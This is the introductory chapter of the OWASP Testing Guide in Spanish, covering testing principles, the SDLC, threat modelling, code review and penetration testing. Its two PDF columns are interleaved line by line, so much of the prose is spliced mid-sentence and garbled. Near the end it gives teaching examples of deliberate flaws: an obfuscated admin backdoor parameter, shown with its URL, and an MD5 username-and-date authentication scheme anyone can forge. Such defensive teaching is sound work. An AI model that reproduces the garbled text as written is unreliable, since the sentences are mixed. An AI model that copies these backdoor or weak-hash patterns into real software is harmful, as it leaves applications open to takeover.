Redactar la Guía de Pruebas ha demostrado ser una tarea difícil. Fue un reto Un principio básico de la ingeniería de software es que usted no puede controlar lo
conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos que no se puede medir [1]. Las pruebas de seguridad no son diferentes.
descritos en la guía, permitiendo a la vez que trabajen en su propio entorno y Desafortunadamente, medir la seguridad es un proceso difícil. Este tema no se
cultura. También fue un reto el cambiar el enfoque de las pruebas de pruebas de cubrirá en detalle aquí, ya que tendrá su guía propia (para una introducción, vea
penetración a pruebas integradas en el ciclo de vida de desarrollo de las [2]).
aplicaciones web.
Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las
Sin embargo, el grupo está muy satisfecho con los resultados del proyecto. Muchos cuestiones técnicas específicas (por ejemplo, cómo prevalece una cierta
expertos de la industria y profesionales de seguridad, algunos de los cuales son vulnerabilidad) y cómo estos problemas afectan la economía del software. La
responsables de la seguridad del software en algunas de las empresas más grandes mayoría de personas técnicas comprenderán al menos las cuestiones
del mundo, están validando el marco de la prueba. Este marco ayuda a las fundamentales, o pueden tener una comprensión más profunda de las
organizaciones a probar sus aplicaciones web para crear software confiable y vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese
seguro. El marco no solo resalta las áreas débiles, aunque este último es sin duda un conocimiento técnico en términos monetarios y cuantificar el costo potencial de las
subproducto de muchas de las guías y listas de verificación de OWASP. Así, vulnerabilidades al negocio del propietario de la aplicación. Hasta que esto no
decisiones difíciles tuvieron que tomarse, respecto a la conveniencia de ciertas ocurra, los gerentes de sistemas (CIO) no serán capaces de calcular un retorno
técnicas de prueba y tecnologías de pruebas. El Grupo entiende perfectamente que exacto de inversión en seguridad y, consecuentemente, asignar un presupuesto
no todos estarán de acuerdo con todas estas decisiones. Sin embargo, OWASP es apropiado para la seguridad de las aplicaciones.
capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a través de
sensibilización y educación basadas en el consenso y la experiencia. Mientras que calcular el costo de software inseguro puede parecer una tarea
desalentadora, ha habido una cantidad significativa de trabajo en esta dirección. Por
ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estándares
(NIST) publicó una encuesta sobre el costo del software inseguro en la economía
El resto de esta guía está organizado como se indica a continuación: Esta de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente,
introducción cubre los prerrequisitos de las pruebas de aplicaciones web y de su se estima que una mejor infraestructura de pruebas ahorraría más de un tercio de
alcance. También cubre los principios exitosos de pruebas y las técnicas de esos costos, o alrededor de $22 mil millones al año. Más recientemente, los
pruebas. El Capítulo 3 presenta el marco de pruebas de OWASP y explica sus vínculos entre la economía y la seguridad han sido estudiados por investigadores
técnicas y tareas en relación con las distintas fases del ciclo de vida del desarrollo académicos. Vea [4] para más información sobre algunos de estos esfuerzos.
de aplicaciones. El Capítulo 4 cubre cómo comprobar vulnerabilidades específicas
(por ejemplo, inyección de SQL) mediante inspección de código y pruebas de
penetración.
El marco descrito en este documento alienta a las personas a medir la seguridad a
través del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del
software inseguro con el impacto que tiene en el negocio y, en consecuencia,
Para medir la seguridad: la economía del software inseguro desarrollar procesos de negocios adecuados y asignar recursos para manejar el
riesgo. Recuerde que la medición y pruebas de aplicaciones web son incluso más
11
críticas que otros programas, ya que las aplicaciones web están expuestas a La mayoría de la gente, hoy en día, no prueba el software hasta que ya ha sido
millones de usuarios a través de Internet. creado y está en la fase de despliegue de su ciclo de vida (es decir, el código ha sido
creado y utilizado en una aplicación web activa). Esto suele ser una práctica muy
ineficaz y con un costo prohibitivo. Uno de los mejores métodos para impedir que
haya fallos de seguridad que aparecen en aplicaciones en producción es mejorar el
¿Qué es probar? Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada
una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de
Durante el ciclo de vida de desarrollo de una aplicación web necesitan probarse artefactos de software. Si un SDLC actualmente no está siendo utilizando en su
muchas cosas, pero ¿qué significa realmente probar? El diccionario Merriam- entorno, ¡es hora de elegir uno! La siguiente figura muestra un modelo SDLC
Webster describe como: genérico, así como el costo creciente (estimado) de corrección de fallas de
seguridad en este modelo.
• Poner a prueba o verificar.

Figura 1: Modelo SDLC genérico
• Someterse a una prueba.
• Asignar una posición o una evaluación basada en pruebas.
Para los efectos de este documento, probar es un proceso de comparar el estado de

un sistema o una aplicación contra un conjunto de criterios. En la industria de
seguridad, las personas, con frecuencia, prueban contra un conjunto de criterios
mentales que no son bien definidos ni completos. Como resultado de esto, muchas
personas ajenas consideran las pruebas como un arte oscuro. El objetivo de este
documento es cambiar esa percepción y hacerlo más fácil para que personas sin
conocimientos detallados de seguridad puedan hacer una diferencia en las pruebas.
¿Por qué realizar pruebas?
Este documento está diseñado para ayudar a las organizaciones a entender lo que
comprende un programa de pruebas y para ayudarles a identificar los pasos que
deben realizarse para construir y operar un programa de pruebas en aplicaciones
web. La guía ofrece una amplia visión de los elementos necesarios para hacer un
programa comprensible de seguridad para aplicaciones web. Esta guía puede
utilizarse como una guía de referencia y metodología para ayudar a determinar la
brecha entre las prácticas existentes y las mejores prácticas de la industria. Esta
guía permite a las organizaciones compararse con colegas del sector, para
comprender la magnitud de los recursos necesarios para probar y mantener el
software, o para prepararse para una auditoría. Este capítulo no entra en los detalles
Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es
parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de
seguridad para garantizar que esta esté adecuadamente cubierta y los controles sean
eficaces durante todo el proceso de desarrollo.
técnicos de cómo probar una aplicación, ya que la intención es proporcionar un

marco de seguridad organizacional típico. Los detalles técnicos acerca de cómo
probar una aplicación, como parte de una revisión de códigos o pruebas de ¿Qué se prueba?
penetración, se cubrirá en las demás partes de este documento.
Puede ser útil pensar en el desarrollo de software como una combinación de
personas, procesos y tecnología. Si estos son los factores que "crean" software,
entonces es lógico que estos sean los factores que deben analizarse. Hoy, la
¿Cuándo probar? mayoría de la gente generalmente prueba la tecnología o el software mismo.

12
Un programa efectivo de pruebas debe tener componentes que prueban:

Principios de la prueba
Personas – para asegurar que existe una educación adecuada y consciente;
Proceso – para asegurar que hay criterios y políticas adecuadas y que las No hay una bala de plata
Aunque es tentador pensar que un escáner de seguridad o cortafuegos para

aplicaciones pueden proporcionar muchas defensas contra el ataque o identificar
una serie de problemas, en realidad no hay ninguna bala de plata para el problema
del software inseguro. El software de evaluación de seguridad, aunque es útil como
personas sepan cómo seguir estas políticas; un primer paso para encontrar el premio deseado, suele ser inmaduro e ineficaz en
las evaluaciones a fondo o en brindar una prueba de cobertura adecuada. Recuerde
Tecnología – para garantizar que el proceso ha sido eficaz en su implementación. que la seguridad es un proceso y no un producto.
A menos que se adopte un enfoque integral, sólo probar la aplicación técnica de Pensar estratégicamente, no tácticamente
una aplicación no destapará la gestión o vulnerabilidades operacionales que podrían
estar presentes. Probando a las personas, políticas y procesos, una organización En los últimos años, los profesionales de la seguridad se han dado cuenta de la
puede encontrar temas que después se manifiesten en defectos en la tecnología, así falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la
como erradicar errores tempranamente e identificar la causa de los defectos. información durante la década de 1990. El modelo de remendar y penetrar implica
Además, sólo probando algunas de las cuestiones técnicas que pueden estar corregir un error reportado, pero sin una investigación adecuada de la causa inicial.
presentes en un sistema resultará en una evaluación de seguridad incompleta e Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra
inexacta. en la figura siguiente. La evolución de las vulnerabilidades en software común
utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para
obtener más información acerca de la ventana de la vulnerabilidad, consulte [6].
Denis Verdon, Jefe de Seguridad de la Información en Fidelity National Finantial,

presentó una excelente analogía de este concepto erróneo en la Conferencia
OWASP AppSec 2004 en Nueva York [5]: «si los coches fueran construidos como Estudios de vulnerabilidad [7] han demostrado que, con el tiempo de reacción de
aplicaciones [...] las pruebas de seguridad asumirían únicamente un impacto frontal. los atacantes en todo el mundo, la típica ventana de vulnerabilidad no proporciona
Los coches no serían probados en volcamiento, o pruebas de estabilidad en suficiente tiempo para la instalación de la corrección, desde el momento de
maniobras de emergencia, la efectividad de los frenos, impacto lateral y la descubrir una vulnerabilidad; que se desarrolle y lance un ataque automático contra
resistencia al robo." la aplicación ha ido disminuyendo cada año.
Hay varias suposiciones incorrectas en el modelo de parche y penetración. Muchos

usuarios creen que los parches interfieren con las operaciones normales y podrían
dañar las aplicaciones existentes. También es incorrecto asumir que todos los
usuarios están conscientes de los parches recientemente lanzados. Por lo tanto, no
Retroalimentación y comentarios todos los usuarios de un producto aplicarán parches, porque piensan que el parche
puede interferir con el funcionamiento del software o por la falta de conocimiento
Como con todos los proyectos de OWASP, agradecemos sus comentarios sobre la existencia del parche.
y sugerencias. Especialmente nos gusta saber que nuestro trabajo está siendo
utilizado y que es eficaz y preciso.
Figura 2: Ventana de vulnerabilidad
Hay algunos errores comunes al desarrollar una metodología de pruebas para
encontrar las fallas de seguridad en el software. Este capítulo cubre algunos de los
principios básicos que los profesionales deben tomar en cuenta al realizar pruebas
de seguridad en el software.

13
Es fundamental incluir la seguridad en el ciclo de vida de desarrollo de software

(SDLC) para evitar problemas de seguridad recurrentes dentro de una aplicación.
Los desarrolladores pueden incluir la seguridad en el SDLC mediante el desarrollo
de normas, políticas y directrices que encajan y funcionan dentro de la metodología
de desarrollo. El uso de modelos de amenazas y otras técnicas deberían usarse para
ayudar a asignar recursos adecuados a las partes de un sistema que están en mayor
riesgo.
El SDLC es rey
El SDLC es un proceso muy conocido por los desarrolladores. Integrando la

seguridad en cada fase del SDLC, nos permite una visión holística de la seguridad
de la aplicación que aprovecha los procedimientos vigentes dentro de la
organización. Tome en cuenta que mientras los nombres de las distintas fases
pueden cambiar dependiendo del modelo de SDLC utilizado por cada
organización, cada fase conceptual del arquetipo SDLC será utilizado para
desarrollar la aplicación (es decir, definir, diseñar, desarrollar,
implementar, mantener). Cada fase tiene consideraciones de seguridad que deben

formar parte del proceso existente, para asegurar un programa de seguridad integral
y rentable.
Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como
prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de
la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo
muestra cómo debe trabajar el SDLC seguro y el asesoramiento descriptivo
muestra cómo debe usarse en el mundo real. Ambos tienen su lugar.

14
Por ejemplo, si no sabe por dónde empezar, un marco prescriptivo puede herramientas automatizadas son realmente malas al realizar pruebas de
proporcionar un menú de controles de seguridad potenciales que pueden aplicarse vulnerabilidad automáticamente es que este pensamiento creativo debe hacerse
en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de caso por caso, ya que la mayoría de las aplicaciones web se desarrollan de una
decisión mediante la presentación de lo que ha funcionado bien para otras manera única (aun cuando usen marcos comunes).
organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos
seguros incluyen el Software Abierto de Modelo de Garantía de Madurez de
OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual
todavía están en desarrollo. Entender el tema
Una de las primeras iniciativas importantes en cualquier buen programa de

seguridad es solicitar documentación precisa sobre la aplicación. La arquitectura,
Prueba temprano y prueba continuamente diagramas de flujo de datos, casos de uso, etc., deberían ser escritos en documentos
formales y disponibles para su revisión. Las especificaciones técnicas y
Cuando un error se detecta tempranamente dentro del SDLC, puede abordarse más documentos de la aplicación deben incluir información que muestre no sólo los
rápido y a menor costo. En este sentido, un fallo de seguridad no es diferente de un casos deseados de uso, sino también cualquier caso de uso no permitido
fallo funcional o de un fallo basado en el rendimiento. Un paso clave para hacer expresamente. Por último, es bueno tener al menos una infraestructura de seguridad
que esto sea posible es educar a los equipos de desarrollo y control de calidad sobre básica que permita la supervisión y seguimiento de tendencias de ataque contra las
los problemas comunes de seguridad y las maneras de detectar y evitarlos. Aunque aplicaciones y la red de la organización (por ejemplo, los sistemas IDS).
las nuevas bibliotecas, herramientas o idiomas pueden ayudar a diseñar mejores
programas (con menos errores de seguridad), nuevas amenazas surgen
Utilizar la herramientas correctas
constantemente y los desarrolladores deben ser conscientes de las amenazas que Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las
afectan al software que están desarrollando. La educación en pruebas de seguridad herramientas juegan un papel crítico en el programa general de seguridad. Hay una
también ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar gama de herramientas de código abierto y herramientas comerciales que pueden
una aplicación desde la perspectiva de un atacante. Esto permite a cada automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden
organización considerar los problemas de seguridad como parte de sus simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en
responsabilidades actuales. sus tareas. Sin embargo, es importante entender exactamente lo que estas
herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen
incorrectamente.
Comprender el ámbito de seguridad
Es importante saber cuánta seguridad requerirá un proyecto. La información y los El Diablo se encuentra en los detalles
activos que deben ser protegidos deberán tener una clasificación que establezca
cómo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las Es fundamental no realizar una revisión superficial de la seguridad de una
discusiones deben llevarse a cabo con consejo legal para asegurarse de que se aplicación y considerarla completa. Esto generará una falsa sensación de confianza
cumplan los requisitos de seguridad específicos. En E.E.U.U., los requisitos que puede ser tan peligrosa como el no haber hecho una revisión de seguridad
podrían venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o desde un inicio. Es vital revisar los hallazgos y descartar
de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones
con sede en países de la UE, tanto los reglamentos del país como las directivas de
la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar
los datos personales con el debido cuidado, cualquiera que sea la aplicación. cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de
seguridad incorrecto a menudo puede minar la validez del resto del informe de
seguridad. Debe tener cuidado de verificar que cada sección de la lógica de la
aplicación ha sido probada, y que cada escenario de casos de usos fue explorado
Desarrollar la mentalidad correcta para encontrar posibles vulnerabilidades.
Probar exitosamente una aplicación contra vulnerabilidades de seguridad requiere

pensar "fuera de la caja." Casos de uso habitual pondrán a prueba el
comportamiento normal de la aplicación cuando un usuario la está utilizando de la Use el código fuente cuando esté disponible
manera esperada. Una buena prueba de seguridad requiere ir más allá de lo que se
espera y pensar como un atacante que está tratando de penetrar en la aplicación. El Aunque las pruebas de penetración de Caja Negra pueden ser impresionantes y
pensamiento creativo puede ayudar a determinar qué datos inesperados pueden útiles para demostrar cómo las vulnerabilidades están expuestas en un entorno de
causar que una aplicación falle de manera insegura. También puede ayudar a producción, no son la manera más eficaz o eficiente para asegurar una aplicación.
encontrar las suposiciones hechas por los desarrolladores web que no siempre son Es difícil, con una prueba dinámica, probar todo el código base, particularmente si
verdaderas y cómo pueden ser subvertidas. Una de las razones por las que las existen muchos condicionales anidados. Si el código fuente de la aplicación está

15
disponible, debería entregarse al personal de seguridad para ayudar a realizar su Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar
revisión. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicación tiempo y asegurar que los resultados sean documentados con precisión y
que pasaron desapercibidas con la prueba de la Caja Negra. consistencia y estén en un formato adecuado para el grupo objetivo.
Desarrollar métricas
Una parte importante de un buen programa de seguridad es su capacidad para

Explicación de las técnicas de
determinar si las cosas están mejorando. Es importante hacer seguimiento a
los resultados de la prueba y desarrollar indicadores (métricas) que revelen las
prueba
tendencias de seguridad de la aplicación dentro de la organización.
Unas buenas métricas mostrarán:

Esta sección presenta un resumen de alto nivel de diferentes técnicas de
prueba que se pueden emplear al crear un programa de pruebas. No presenta
metodologías específicas para estas técnicas ya que esta información está
• Si se requiere más educación y entrenamiento; cubierta en el capítulo 3. Esta sección se incluye para proporcionar un
contexto para el marco de referencia que se presenta en el próximo capítulo y
• Si existe un mecanismo de seguridad en particular que no ha sido entendido para resaltar las ventajas y desventajas de algunas de las técnicas que se deben
claramente por el equipo de desarrollo; considerar. En particular, cubrimos:
• Si el número total de problemas encontrados, relacionados con la seguridad, ha

disminuido mes a mes.
• Inspecciones y Revisiones Manuales
• Modelado de Amenazas
Las métricas constantes que se pueden generar de manera automatizada desde
el código fuente disponible también ayudarán a la organización en la
• Revisión de Código
evaluación de la efectividad de los mecanismos creados para reducir los fallos
de seguridad en el desarrollo de software. Las métricas no se desarrollan
• Pruebas de Penetración
fácilmente, así que usar métricas estándar como las previstas por el proyecto
de métricas OWASP y otras organizaciones es un buen punto de partida.
Inspecciones y Revisiones Manuales

Documente los resultados de las pruebas
Resumen
Para concluir el proceso de pruebas, es importante generar un registro formal
de las acciones de prueba que fueron tomadas, por quiénes, cuándo se
Las inspecciones manuales son revisiones realizadas por humanos, que
realizaron y los detalles de los resultados de la prueba. Es conveniente acordar
prueban típicamente las implicaciones de seguridad de las personas, políticas
un formato aprobado para el informe, que sea útil para todas las partes
y procesos. Las inspecciones manuales también pueden incluir la verificación
interesadas, que puede incluir desarrolladores, gerentes de proyectos, dueños
de las decisiones de tecnología tales como diseños arquitectónicos.
de negocios, departamento de tecnología, auditoría y cumplimiento.
Generalmente se realizan analizando documentación o realizando entrevistas
con los diseñadores o dueños del sistema.
Aunque el concepto de inspecciones manuales y revisiones humanas es

El informe debe ser claro para que el dueño del negocio identifique dónde
simple, estas pueden estar entre las técnicas disponibles más poderosas y
existen riesgos materiales, y suficiente para obtener su respaldo para acciones
eficaces. Preguntando a alguien cómo funciona algo y por qué se aplicó de
de mitigación posteriores. El informe también debe ser claro para el
una manera específica, el evaluador puede determinar rápidamente si alguna
desarrollador para poder precisar la función exacta que se ve afectada por la
duda de seguridad es evidente. Las revisiones y controles manuales son
vulnerabilidad y recomendaciones asociadas para resolver los problemas en
algunas de las contadas maneras para probar el proceso mismo del ciclo de
un lenguaje que entienda el desarrollador. El informe también deberá permitir
vida de desarrollo del software y para asegurar que existe una adecuada
que otro técnico de seguridad pueda reproducir los resultados. La redacción
política o habilidad.
del informe no debe ser una carga para el mismo técnico de seguridad. Los
técnicos de seguridad no son generalmente reconocidos por sus habilidades de
escritura creativa, y generar un informe complejo puede llevar a instancias
donde los resultados de la prueba no sean correctamente documentados.

16
Como con muchas cosas en la vida, al realizar inspecciones manuales y Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque
revisiones, es recomendable adoptar un modelo de "confíe pero verifique". No simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este
todo lo que el evaluador muestre o diga será preciso. enfoque implica:
Las revisiones manuales son particularmente buenas para probar si las

personas entienden el proceso de seguridad, han sido concientizadas sobre la
política y tienen las habilidades apropiadas para diseñar o implementar una
aplicación segura.
• Descomposición de la aplicación - utilice un proceso de inspección manual
Otras actividades, como revisar manualmente la documentación, políticas de
para entender cómo funciona la aplicación, sus activos, funcionalidad y
codificación seguras, requisitos de seguridad y diseños arquitectónicos, deben
conectividad.
ser cumplidas mediante una inspección manual.
• Definir y clasificar los activos – clasifique los activos en tangibles e
intangibles y ordénelos según la importancia del negocio.
Ventajas: • Explorar posibles vulnerabilidades - sean técnicas, operacionales o de

administración.
• No requieren de tecnología de apoyo.
• Explorar posibles amenazas - desarrolle una visión realista de los posibles
• Se pueden aplicar a una variedad de situaciones. vectores de ataque desde la perspectiva de un atacante, mediante el uso de
escenarios de amenaza o árboles de ataque.
• Son flexibles.
• Promueven el trabajo en equipo.

• Crear estrategias de mitigación - desarrollando controles de mitigación para
• Se inician temprano en el SDLC. cada una de las amenazas consideradas realistas.
Desventajas: El reporte de un modelo de amenaza en sí puede variar, pero, por lo general, es

una colección de listas y diagramas. La guía de Revisión de Códigos de
• Pueden desperdiciar el tiempo.
OWASP describe una metodología de un modelo de amenazas para
aplicaciones, que puede utilizarse como referencia para las aplicaciones de
• El material de apoyo material no siempre está disponible.
prueba de posibles fallos de seguridad en el diseño de la aplicación. No existe
ninguna forma correcta o incorrecta para desarrollar modelos de amenaza y
• Requieren significativamente del pensamiento humano y la habilidad para
realizar evaluaciones de riesgos de información en las aplicaciones. [12].
ser eficaces.
Ventajas:
Creación de modelos de amenazas
• Vista práctica del sistema desde el punto de vista del atacante.
Resumen • Flexible
La creación de modelos de amenazas se ha convertido en una técnica popular • Se inicia temprano en el SDLC.
para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de
seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la
creación de modelos de amenazas puede verse como la evaluación de riesgo
para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de Desventajas:
mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su
inevitable escasez de recursos y atención en las partes del sistema que más lo • Técnica relativamente nueva.
requiere. Se recomienda que todas las aplicaciones tengan un modelaje de
amenazas desarrollado y documentado. Los modelos de amenazas deben • Buenos modelos de amenazas no significan automáticamente buenas
crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona aplicaciones.
la aplicación y el desarrollo progresa.

17
Revisión de código fuente • Requiere de desarrolladores expertos de seguridad.
• Puede saltarse temas en bibliotecas compiladas.

Resumen
• No puede detectar fácilmente errores de tiempo de ejecución.
La revisión del código fuente es el proceso de comprobar manualmente el
código fuente de una aplicación web por cuestiones de seguridad. Muchas
• El código fuente desplegado puede diferir del que se analiza.
vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra
forma de análisis o pruebas. Como dice el dicho popular "Si usted quiere saber
lo que realmente está pasando, vaya directamente a la fuente". Casi todos los
expertos en seguridad están de acuerdo en
Para más información sobre revisión de código, investigue el proyecto de
revisión de código OWASP.
que no existe un sustituto para revisar el código. Toda la información para

identificar problemas de seguridad existe en alguna parte del código. A
Pruebas de penetración
diferencia de las pruebas de software cerrado externo, tales como los sistemas
operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en
Resumen
la empresa), el código fuente debe estar disponible para propósitos de prueba.
Las pruebas de penetración han sido, por muchos años, una técnica común
utilizada para probar la seguridad de la red. También se las conoce
comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las
Muchos problemas de seguridad no intencionales, pero significativos, son
pruebas de penetración son esencialmente el "arte" de probar una aplicación
también extremadamente difíciles de descubrir mediante otras formas de
en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin
análisis o pruebas, como las pruebas de penetración; hacen del análisis de
saber el funcionamiento interno de la aplicación. Por lo general, el equipo de
código fuente la técnica elegida para la prueba técnica. Con el código fuente,
pruebas de penetración tendría acceso a una aplicación como si fuera usuario.
un evaluador puede determinar con precisión lo que está sucediendo (o se
El evaluador actúa como un intruso e intenta encontrar y explotar
supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.
vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida
en el sistema.
Ejemplos de temas que son especialmente propicios para ser encontrados a

través de revisiones de código fuente incluyen problemas de concurrencia,
Mientras que las pruebas de penetración han demostrado ser eficaces en la
lógica de negocio imperfecto, problemas de control de acceso y debilidades
seguridad de la red, la técnica no se traduce naturalmente a las aplicaciones.
criptográficas, así como puertas traseras, troyanos, huevos de pascua, bombas
Cuando se realizan pruebas de penetración en redes y sistemas operativos, la
de tiempo, bombas lógicas y otras formas de código malicioso. Estos
mayoría del trabajo está relacionado con encontrar y luego explotar
problemas a menudo se manifiestan como las más nefastas vulnerabilidades
vulnerabilidades conocidas en tecnologías
en sitios web. El análisis de código fuente también puede ser extremadamente
eficiente para encontrar problemas de implementación tales como lugares
donde no se realizó la validación de entrada o cuando los procedimientos de
control abierto de fallas pueden estar presentes. Pero tenga en cuenta qué los
específicas. Como las aplicaciones web son básicamente hechas a la medida,
procedimientos operacionales deben revisarse, ya que el código fuente que
las pruebas de penetración en el campo de las aplicaciones web son más
está implementando no sería el mismo que el analizado en este documento
parecidas a la investigación pura. Se han desarrollado herramientas de pruebas
[13].
de penetración que automatizan el proceso, pero por la naturaleza de las
aplicaciones web, su eficacia es generalmente pobre.
Ventajas:
Muchas personas utilizan hoy en día las pruebas de penetración como su
• Finalización y efectividad.
técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en
un programa de pruebas, no creemos que debe ser considerada como la técnica
• Precisión.
principal o la única. Gary McGraw en [14] resumió bien a las pruebas de
• Es rápida (para correctores competentes). penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes
un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes
si tienes un problema muy malo". Sin embargo, las pruebas de penetración
focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas
Desventajas: y detectadas en revisiones anteriores) pueden ser útiles en la detección si

18
realmente se arreglan algunas vulnerabilidades específicas en el código desafíen todos los supuestos, tales como el no acceso al código fuente y el explorar
desplegado en el sitio web. la posibilidad de realizar pruebas más completas.
Ventajas: Un enfoque equilibrado varía dependiendo de muchos factores, tales como la

madurez del proceso de prueba y la cultura corporativa. Se recomienda que un
• Puede ser rápida (y por lo tanto económica). marco de pruebas equilibrado se vea como las representaciones que se muestran en
la Figura 3 y Figura 4. La siguiente figura muestra una típica representación
• Requiere de un conjunto de habilidades relativamente inferior al requerido proporcional sobrepuesta al ciclo de vida de desarrollo de software. Para
para revisión de código fuente. mantenerse al nivel de la investigación y la experiencia, es esencial que las
empresas pongan un mayor énfasis en las primeras etapas de desarrollo.
• Prueba el código que realmente se está exponiendo.
Figura 3: Proporción esfuerzo en pruebas en el SDLC

Desventajas:
• Se realiza demasiado tarde en el SDLC.
• Es solamente una prueba de impacto frontal.
La necesidad de un enfoque equilibrado
Con tantas técnicas y enfoques para probar la seguridad de aplicaciones web,

puede ser difícil entender qué técnicas usar y cuándo usarlas. La experiencia
demuestra que no existe una respuesta correcta o incorrecta a la pregunta sobre
qué técnicas exactas pueden usarse para construir un marco conceptual de
pruebas. De hecho, todas las técnicas probablemente pueden usarse para poner
a prueba todas las áreas que necesitan ser probadas.
Aunque es claro que no existe una técnica única que pueda realizarse para cubrir
eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas En la siguiente figura se muestra una típica representación proporcional
sobrepuesta a las pruebas técnicas.
han sido abordados, muchas empresas adoptan sólo una aproximación. El enfoque
utilizado ha sido históricamente pruebas de penetración. Las pruebas de
penetración, aunque útiles, no pueden abordar eficazmente muchos de los temas
que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida
del desarrollo de software (SDLC). Figura 4: Proporción de prueba de esfuerzo según prueba técnica
El enfoque correcto es un enfoque equilibrado que incluye varias técnicas, desde

revisiones manuales a pruebas técnicas. Un enfoque equilibrado debe cubrir las
pruebas en todas las fases del SDLC. Este enfoque aprovecha las técnicas más
apropiadas disponibles, dependiendo de la fase actual de SDLC.
Por supuesto, hay momentos y circunstancias donde solo es posible usar una
técnica. Por ejemplo, una prueba en una aplicación web que ya ha sido creada, pero
donde el grupo de pruebas no tiene acceso al código fuente. En este caso, las
pruebas de penetración son claramente mejores que no hacer ninguna prueba en
absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba
Una nota acerca de los escáneres de aplicaciones Web:

19
Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web Mirando el código, la vulnerabilidad prácticamente salta de la página como un
automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, problema potencial.
algunos temas fundamentales deben ser resaltados porque se cree que las pruebas
de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo,
destacar estos temas no debería desalentar el uso de los escáneres de aplicación
web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, Ejemplo 2: Mala criptografía
así, los marcos de pruebas se planeen adecuadamente.
La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un
desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un
usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el
Importante: OWASP actualmente está trabajando para desarrollar una plataforma desarrollador decide que si un usuario está conectado en el sitio A, entonces
de escaneo mediante una evaluación comparativa. Los ejemplos siguientes generará una clave utilizando una función de hash MD5 que comprende: Hash
muestran por qué las pruebas automatizadas de Caja Negra son ineficaces. {username: fecha}.
'Ejemplo 1: Los parámetros mágicos' Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de
consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente
Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el
luego el valor. Para simplificar, la solicitud GET puede ser: sitio B autentica al usuario como dice ser.
http://www.host/application?magic=value Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda
el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq)
Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres puede iniciar una sesión como cualquier usuario.
ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9.
La inspección manual, como una revisión o inspección de código, habría
descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones
web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de
Los diseñadores de esta aplicación crearon una puerta trasera de administración 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no
durante la prueba, pero la ofuscaron para evitar que un observador casual pueda cambió en una manera predecible.
descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el
usuario, entonces, se conectará y tendrá una pantalla administrativa con el control Una nota sobre las herramientas de revisión de códigos fuente estáticas:
total de la aplicación. La solicitud HTTP es ahora:
Muchas organizaciones han comenzado a usar escáneres estáticos de códigos
http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas
comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de
por qué este enfoque no es eficaz cuando se utiliza solo. El análisis de código
fuente estático no puede identificar los problemas debidos a fallas en el diseño, ya
Dado que todos los otros parámetros fueron campos simples de dos y tres que no puede entender el
